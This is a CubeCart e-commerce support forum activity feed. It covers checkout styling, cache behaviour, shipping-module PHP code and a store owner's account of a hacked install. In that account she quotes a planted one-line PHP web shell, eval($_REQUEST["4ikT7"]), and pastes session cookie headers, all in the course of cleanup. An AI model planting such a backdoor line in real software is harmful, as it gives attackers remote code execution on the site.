Jump to content

All Activity

This stream auto-updates

  1. Today
  2. Last week
  3. I googled and found this. https://magecomp.com/blog/fix-issues-found-review-snippet-markup-search-console/
  4. For Foundation, look in cubecart.css, near line 168. There is a series of background colors for the checkout bar: the overall checkout-progress-wrapper, previous, current, and next. The code that assigns the previous, current, and next class names is in cubecart.class.php, private function _checkoutProcess().
  5. Where do I change the colors on the progress bar 1.Basket 2. Checkout 3. Complete Thanks in advance!
  6. Hi I've been getting errors from Google control panel Review snippet error. Not sure how to fix them?
  7. Quite a number of versions back, CubeCart would clear the cache each and every time the admin clicked the Save button. CubeCart's programmers determined this to be 'over-zealous'. The latest versions now require the admin to clear the cache manually which means a variable amount of work can be done before the customer sees the output of that work session. Not seeing the manual Clear Cache button at the top right suggests you will need to force your browser to reload the page resources (javascript, css, images), as these may have changed between versions. This is usually done with Ctrl-F5.
  8. I don't know if one has to do with the other but I thought I'd throw it out there. Since I upgraded to CC6.4.2 I get logged out of admin a lot more frequently. I try to keep it open mostly since I'm usually working on a lot of things.
  9. I have seen first time it so amazing Thank you so for sharing with us fmcdeale
  10. CubeCart 6.4.4, recently upgraded. When we change/add a product the changes do not show unless we go to the maintenance section and manually 'Clear Cache', is this an issue or is it supposed to be like that ? Also since the upgrade the Clear Cache at right hand top of window has disappeared, but I guess that was planned? Chris.
  11. For posterity here are the parts you mentioned in the previous post: ///////////////////////////PUBLIC FUNCTION CALCULATE PART OF THE PHP: public function calculate() { $this->debugH('BASKET TOTALS'); $this->debug(sprintf('Basket weight: %.3F', $this->_weight)); $this->debug(sprintf('Basket value: %.2F', $this->_value)); $this->debug(sprintf('Basket item count: %d', $this->_item_count)); $zone_ids = $this->matching_zone_ids(); $rates = $this->matching_rates($zone_ids); // CALCULATE PRICE FOR EACH SHIPPING METHOD $this->_package = array(); for ($i=0; !empty($rates) && $i<count($rates); $i++) { $price = 0.0; if ($this->_settings['use_flat']) $price += $rates[$i]['flat_rate']; if ($this->_settings['use_weight']) $price += $rates[$i]['weight_rate'] * $this->_weight; if ($this->_settings['use_item']) $price += $rates[$i]['item_rate'] * $this->_item_count; if ($this->_settings['use_percent']) $price += $rates[$i]['percent_rate']/100 * $this->_value; $this->_package[] = array( 'name' => $rates[$i]['method_name'], 'value' => sprintf('%.2F', $price), 'tax_id' => (int)$this->_settings['tax'], 'tax_inclusive' => (int)$this->_settings['tax_included'], ## Delivery times not applicable to this module 'shipping' => '', 'delivery' => '', 'next_day' => '' ); } if (!empty($this->_package)) { $this->debugH('FINAL SHIPPING OPTIONS FOR THIS ADDRESS AND BASKET'); foreach ($this->_package as $p) $this->debug(sprintf('%s: %s', $p['name'], $p['value'])); } else { $this->debugH('<strong>All In One Shipping module has no shipping options for this address and basket!</strong>'); } $this->echo_debug(); return !empty($this->_package) ? $this->_package : false; } ///////////////////////////PRIVATE FUNCTION MATCHING RATES PART OF THE PHP: private function matching_rates($zone_ids) { if (!is_array($zone_ids)) { return array(); } $this->debugH('SHIPPING RATES'); $this->debug('All rates:', $debug_level=2); $this->debug('<pre>'.print_r($this->_all_rates, true).'</pre>', $debug_level=2); $this->debug(sprintf('Looking at the shipping rates for zone(s) [ID %s]', implode(', ',$zone_ids))); // resulting matching rates (if any) $rates = array(); $count = count($this->_all_rates); for ($i=0; !empty($this->_all_rates) && $i<$count; $i++) { $r = $this->_all_rates[$i]; if (in_array($r['zone_id'], $zone_ids)) { $ok = true; if ($this->_settings['range_weight']) { if ($this->_weight < $r['min_weight'] && $r['min_weight'] > 0) { $ok = false; } else if ($this->_weight > $r['max_weight'] && $r['max_weight'] > 0) { $ok = false; } if (!$ok) $this->debug(sprintf('Rate [ID: %d] [%s] --- Weight range [%s &lt; weight &lt;= %s] doesn\'t match basket weight [%s]', $r['id'], $r['method_name'], $r['min_weight'], $r['max_weight'], $this->_weight)); } if ($ok && $this->_settings['range_subtotal']) { if ($this->_value <= $r['min_value'] && $r['min_value'] > 0) { $ok = false; } else if ($this->_value > $r['max_value'] && $r['max_value'] > 0) { $ok = false; } if (!$ok) $this->debug(sprintf('Rate [ID: %d] [%s] --- Subtotal range [%s &lt; subtotal &lt;= %s] doesn\'t match basket subtotal [%s]', $r['id'], $r['method_name'], $r['min_value'], $r['max_value'], $this->_value)); } if ($ok && $this->_settings['range_items']) { if ($this->_item_count < $r['min_items'] && $r['min_items'] > 0) { $ok = false; } else if ($this->_item_count > $r['max_items'] && $r['max_items'] > 0) { $ok = false; } if (!$ok) $this->debug(sprintf('Rate [ID: %d] [%s] --- Total Quantity range [%s &lt; total quantity &lt; %s] doesn\'t match basket total quantity [%s]', $r['id'], $r['method_name'], $r['min_items'], $r['max_items'], $this->_item_count)); } if ($ok) { $this->debug(sprintf('Rate [ID: %d] [%s] --- <strong> Shipping rate is valid for this basket!</strong>', $r['id'], $r['method_name'])); $rates[] = $r; } } } return $rates; Bearing in mind this is my first ever real look at PhP (l just Googled 1 minute ago, apparently it's a programming language all in itself), l would zoom in on the above 2-line quoted part, and add a caveat about the GTIN field, in a series of nested "if" statements, one per shipping policy to be denoted by a GTIN field. Each nested "if" statement would exclude the shipping methods named in that GTIN field, period, regardless the weight band. Of course it would be problematic if you just wanted to give freepost for a specific weight band under a specific Shipping Method but that's rabbit holes for yer, l think the main thing is that your method is powerful because there's no need to redefine each of the >25 shipping zones l have, per shipping policy. Instead, the GTIN code would treat Shipping Policies as a gentle post edit. And it won't necessarily delete an entire row of data, it would just mute it. So l think that's quite a deft move - l hope it works out for you. I hope you alert the forum of any versions you produce , even if just for testing, l'd be interested.
  12. The code to calculate a shipping price is easy enough to follow. See the file at /modules/shipping/All_In_One_Shipping/shipping.class.php. Find the public function calculate() and private function matching_rates(). I am currently working on a mod that will add a chooser to select any one of several possible product details to trigger an event that when there exists a product in the basket that requires a filtering of the otherwise possible shipping choices.
  13. Good idea, but because there will be a variety of such makeshift GTIN codes (or whatever codes) we may as well call it by its real name: a second axis to AIOS, i.e. Shipping Policy (currently, AIOS is veeeeery linear). Proposals for AIOS overhaul: - Additional Axis: Shipping Weight Ranges (no need to re-type ranges for each new shipping method) - Additional Axis: Shipping Policy (this is not a visible axis as such, it is basically a box of filing cards, on each filing card is written out your vertical list of Y-AXIS available shipping methods, and horizontal X-AXIS their cost at each weight range) { As an unnecessary extra: a checkbox next to each shipping method, allowing it to be muted, although alternatively of course you can just delete it manually, but then you lose the data you may have given for that shipping method within that shipping policy card, when in fact you might have wanted to be able to toggle it on and off at whim. } - And this huge leap: somehow allow duplication of a shipping policy, though l don't know how that will be possible because obviously duplicating shipping data will affect the CubeCart databases and l'm not qualified to even say the word "database". I think l may be able to tinker with the other stuff l've just mentioned in this post. Do you have some way l could view the AIOS app code or is it private? I don't mind really, it's not like l'll rustle up something within a few days or even years but it'd be nice to see if l could make a go of it. HTML was fairly easy to pick up and necessity drove me to learn basic HTML.
  14. In your .htaccess file, I think there must be this correct declaration: RewriteBase /store/ Using an external database utility, look in the database table CubeCart_code_snippet. (Perhaps you have already done this, working through the 'Have I been hacked' knowledgebase article.) Look for any snippets here that you do not recognize. The line (in Network Developer's Tools) that follows the POST entry... you say it also has a 200 Status? Does the Network screen have a panel that shows you the content that was delivered?
  15. With Developer Tools in Chrome, I get response status 200 on both the login page and the white screen after I submit the login. Here's the headers from after the login is submitted (with username/password removed, but it was listed correctly--I also altered the admin page name, but it too was listed correctly). I don't see any obvious errors but I don't know how to interpret parts of it. Request URL: https://www.treefrogfarm.com/store/admin_xxx.php Request Method: POST Status Code: 200 Remote Address: Referrer Policy: strict-origin-when-cross-origin Response Headers cache-control: pre-check=0, post-check=0, max-age=0 content-encoding: gzip content-type: text/html; charset=UTF-8 date: Tue, 19 Oct 2021 21:50:43 GMT expires: -1 pragma: no-cache server: Apache set-cookie: CCS_B0C4C3B217=bca7de24aee9eb9bf3f50f1e0d9025d6; expires=Tue, 26-Oct-2021 21:50:43 GMT; Max-Age=604800; path=/store; domain=.treefrogfarm.com; secure; HttpOnly; SameSite=None vary: Accept-Encoding x-frame-options: SAMEORIGIN x-powered-by: PHP/7.4.24 Request Headers :authority: www.treefrogfarm.com :method: POST :path: /store/admin_xxx.php :scheme: https accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.9 cache-control: no-cache content-length: 176 content-type: application/x-www-form-urlencoded cookie: CCS_B0C4C3B217=5fd53b369b82009b0ed9e34c5de6ddf7; __utmc=183381347; __utmz=183381347.1630434710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __zlcmid=165kKkjobQZfVNO; _ga=GA1.2.290882159.1630434710; PHPSESSID=f4d343e193cb3f424f941320669d06c5; __utma=183381347.290882159.1630434710.1634628236.1634671021.12 origin: https://www.treefrogfarm.com pragma: no-cache referer: https://www.treefrogfarm.com/store/admin_xxx.php sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?1 sec-ch-ua-platform: "Android" sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: same-origin sec-fetch-user: ?1 upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Mobile Safari/537.36 Form Dataview sourceview URL-encoded username: xxxxxxxx password: xxxxxxxxxxxxxxxx redir: https://www.treefrogfarm.com/store/admin_xxx.php?_g=login login: Log In token: d6652a13b7cdc75d9bc2e897c76e0136
  16. I found some php files in a subdirectory /cache/controllers that I don't see in recent versions. They had to do primarily with admin sessions. I've removed them. Thanks for the tip about the Developer's Tools. I had forgotten about that. I'll check it now.
  17. You can delete the oldest folder (which should be phpMailer - note the lowercase php). Not being able to log in vs. getting a white screen after submitting the form to do so are two different things. A failed login attempt will be shown to you. A white screen means something went wrong (as opposed to being denied). Your browser will have a Developer's Tools set of functions. One is a 'Network' tab where one can see what got posted and what was returned, if anything. Aside from the content, there will be a collection of HTTP headers in the response. Importantly, there will be the "Response status" code from the web server. That code will either be, commonly: 200, 500, or 304. A status of 500 is trouble - somewhere.
  18. Is it generally safe to delete files and folders that were used in previous versions but not the latest? Omitting things like user files such as images, of course. For example, I have a /phpMailer folder on the server, but the latest version doesn't have that but has /PHPMailer instead. Is it safe to delete the /phpmailer folder? I'm trying to get as close to a clean install as possible. Thanks for the help.
  19. Yes, the storefront works, except customers can't change their passwords. No, I don't have it but will certainly check out the Security Suite as soon as I can get in to admin install it. Yes I'm using a hosted Apache server. I've checked some of the .htaccess files, but will do that again and more thoroughly. Thanks!
  20. Does the storefront work? Do you happen to have the CubeCart Security Suite module installed? If there is no error_log, then it may be the case that the web server is disagreeing with something in the .htaccess file (assuming you are using Apache web server) - that is, before PHP even starts up and gets a chance to report anything to the error_log.
  21. I'm following some 2016 instructions for cleaning a hacked store: Step 7 is "If you are not able to login to the admin side of your store please reset the login via the database. " The link to resetting the login yields a 404 error. I think I've done it correctly, though, to change the password, but still can't log into the admin area. Grr.
  22. Yes. I'm always very careful about that. I also double checked the global.inc.php file. Thanks for the suggestion, though!
  23. @Al Brookbanks for attention When you upgraded, did you remove the 'setup' folder?
  24. Last week I upgraded from v6.4.2 to v6.4.4. Everything seemed to be working fine until after the weekend. Now when I enter username/password and click to log in I get a white screen. When I use the password change form, the same thing happens--I click, it seems to submit the form just fine, but all I see is a white screen. I've tried checking the error_log but there is nothing. I've tried enabling "display_errors" in debug.class.php, but nothing. I've also checked to see if something was reconfigured on the hosted server, but no. I'm pretty sure I've been hacked, because I checked the /includes/extra folder and found an /includes/extra-BAD folder as well. Inside the /extra-BAD folder was a snippet file I didn't recognize and a public key code file and some sess_ files. The snippet file contained just one line of PHP code: eval($_REQUEST["4ikT7"]). Here's a sample sess_ file content: __client|a:5:{s:10:"ip_address";s:14:"";s:9:"useragent";s:90:"Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, [email protected])";s:13:"session_start";i:1451332019;s:12:"session_last";i:1451332019;s:8:"language";s:5:"en-US";}__system|a:1:{s:5:"token";s:32:"21828537828a8497b3b39a0f63864d74";}__recaptcha|a:2:{s:5:"error";N;s:9:"confirmed";b:0;} The final "error" was in all of them. I've removed the alien files and folder from the server, of course, but I still can't login. Any ideas? I didn't see any unfamiliar files in /images so not sure if the snippet was used to redirect to other servers or if I've got hacked content someplace else. I could really use help on this one. Thanks, Nancy
  25. Good to see a topic on redirects with 6.4.1 onwards. For @onebrowncow, in google search console you can tell google to not index urls. See removals.
  1. Load more activity
  • Create New...